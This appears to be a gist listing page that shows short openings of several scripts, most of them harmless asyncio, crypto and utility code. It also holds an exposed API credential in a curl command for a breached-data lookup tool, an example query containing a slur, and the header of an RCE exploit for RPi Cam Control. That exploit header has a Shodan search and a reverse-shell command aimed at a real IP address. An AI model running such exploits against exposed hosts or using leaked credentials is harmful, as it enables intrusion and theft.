This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
# modified fetch function with semaphore | |
import asyncio | |
import json | |
import pprint | |
import logging | |
import aiofiles | |
import aiohttp | |
from web3 import Web3, HTTPProvider | |
import os |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import asyncio | |
import threading | |
import time | |
from concurrent.futures import ThreadPoolExecutor | |
from typing import List, Any | |
class AsyncThreadPool(ThreadPoolExecutor): | |
_futures: List[asyncio.Future] | |
_loop: asyncio.AbstractEventLoop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
async def main(): | |
coroutine1 = do_some_work(1) | |
coroutine2 = do_some_work(2) | |
coroutine3 = do_some_work(4) | |
tasks = [ | |
asyncio.ensure_future(coroutine1), | |
asyncio.ensure_future(coroutine2), | |
asyncio.ensure_future(coroutine3) | |
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
######################################## | |
# Eoseo AutoClaimer ~ Darkerego 2022 # | |
######################################## | |
# | |
# Enviroment variables | |
NODEOSBINDIR="/opt/bin/bin" | |
WALLETHOST="127.0.0.1" | |
NODEHOST="127.0.0.1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
from colored import fg, attr, bg | |
class Technicolor: | |
def __init__(self): | |
self.i = 0 | |
self.bright_colors = [1, 3, 5, 8, 32, 44, | |
45, 46, 55, 73, 77, 80, 82, 88, 107, 125, | |
155, 160, 167, 169, 186, 197, 203, 222, 226] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""https://www.python.org/downloads/windows/ | |
usage: getdata.py [-h] [-s PAIR] [-p INTERVAL] | |
optional arguments: | |
-h, --help show this help message and exit | |
-s PAIR, --symbol PAIR | |
Instrument to analyse | |
-p INTERVAL, --period INTERVAL | |
Interval. 1d means 1 day. 1h means 1 hour. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
curl --silent -v https://api.dehashed.com/search?query=\"$1\" | |
-u lol@protonmail.com:a566b322da771a58233403bd53123 | |
-H 'Accept: application/json' | |
./dehashed.py -q "email:'faggot@hotmail.com'" -L | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
###################################### | |
# Anonymous 2020 | |
""" | |
Coinswitch.co API Tool | |
""" | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <ctype.h> | |
#ifdef WIN32 | |
typedef unsigned char u_char; | |
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3.6 | |
# Darkerego, 2019 | |
""" | |
RPi Cam Control <= v6.3.14 (RCE) preview.php Multiple Vulnerabilities | |
https://www.exploit-db.com/exploits/42452 | |
example: reverse shell | |
```shodan search 'Title:"rpi cam"'``` | |
$ python3 rpi.py -u http://89.10.154.159 -i \ |